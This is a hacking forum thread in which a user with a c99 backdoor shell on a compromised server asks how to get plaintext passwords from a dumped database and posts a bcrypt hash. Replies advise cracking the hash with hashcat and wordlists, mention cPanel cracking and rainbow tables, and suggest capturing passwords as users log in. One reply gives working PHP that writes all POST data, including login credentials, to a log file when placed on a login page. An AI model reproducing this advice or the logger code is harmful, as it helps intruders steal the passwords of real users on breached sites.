[allanburgs]

Hello , I just want to ask if theres another way to dump sql database passwords plaintext using backdoor shell.

my problem is ,when im dumping passwords from database it only shows the hash paswords ,.. and its very difficult to decrypt , is there other way to dump the passwords in plaintext using a c99 shell.

---

here is a sample passwords.

$2y$10$PoLDZ8ACLIoYUHMkXsSkl.JLYszr6bcvwHZX7.0OuguHLCSb3yGsq

[Berry White]

Hello , I just want to ask if theres another way to dump sql database passwords plaintext using backdoor shell.

my problem is ,when im dumping passwords from database it only shows the hash paswords ,.. and its very difficult to decrypt , is there other way to dump the passwords in plaintext using a c99 shell.

---

here is a sample passwords.

$2y$10$PoLDZ8ACLIoYUHMkXsSkl.JLYszr6bcvwHZX7.0OuguHLCSb3yGsq

Hahah ! I am affraid that its not possible. 

The whole idea of encryption is to prevent that. So in the database, you can only find encrypted password(of course if encryption is used), nothing else.  Sorry.

[allanburgs]

do u have idea how to crack that type of pass ,sir

[Berry White]

do u have idea how to crack that type of pass ,sir

Hashcat is for sure the best tool for that. It can be GPU based, and CPU based, but GPU based is usually best as said here:
https://hashcat.net/forum/thread-6336.html

And to find type of hash, you can use this website: 
https://www.onlinehashcrack.com/hash-identification.php
As you see your hash is bcrypt, Blowfish(OpenBSD)

Oh and i forgot to say, you will need wordlist. You can find it on internet or build your own. Good luck with decrypting that hashes.

Hope i helped.

[allanburgs]

thanks men , I guess cracking the cpanel is another option to get access to database without wasting time decrypting those hashes ^_^

[rtist]

Rainbow tables are your friend. Get hashing.
or dump the hashes for us.

[SIM-1073426]

Hello , I just want to ask if theres another way to dump sql database passwords plaintext using backdoor shell.

my problem is ,when im dumping passwords from database it only shows the hash paswords ,.. and its very difficult to decrypt , is there other way to dump the passwords in plaintext using a c99 shell.

---

here is a sample passwords.

$2y$10$PoLDZ8ACLIoYUHMkXsSkl.JLYszr6bcvwHZX7.0OuguHLCSb3yGsq

That's Blowfish, good luck with that. 

Hahah ! I am affraid that its not possible.

The whole idea of encryption is to prevent that. So in the database, you can only find encrypted password(of course if encryption is used), nothing else.  Sorry.

Trying to get the cleartext value from the hash isn't the only option to get the password, you can still log the POST requests in the login page. You won't get all users passwords but you'll get the ones that login while you're logging the requests.

Rainbow tables are your friend. Get hashing.
or dump the hashes for us.

Rainbow tables doesn't work against Blowfish.

[Berry White]

Trying to get the cleartext value from the hash isn't the only option to get the password, you can still log the POST requests in the login page. You won't get all users passwords but you'll get the ones that login while you're logging the requests.

Sorry but i dont understand what you mean?

[Teferi]

Sorry but i dont understand what you mean?

Log all the user input:

PHP Code


<?php
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

[urbizupi]

Hello , I just want to ask if theres another way to dump sql database passwords plaintext using backdoor shell.

my problem is ,when im dumping passwords from database it only shows the hash paswords ,.. and its very difficult to decrypt , is there other way to dump the passwords in plaintext using a c99 shell.

---

here is a sample passwords.

$2y$10$PoLDZ8ACLIoYUHMkXsSkl.JLYszr6bcvwHZX7.0OuguHLCSb3yGsq

Hi if u wanna team up I can help u crack most of the passwords with hashcat like Berry White said.
Reply if u wanna team up.

Greetings, urbizupi

[Berry White]

Log all the user input:

PHP Code


<?php
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

Oohh, i understand now, thanks mate.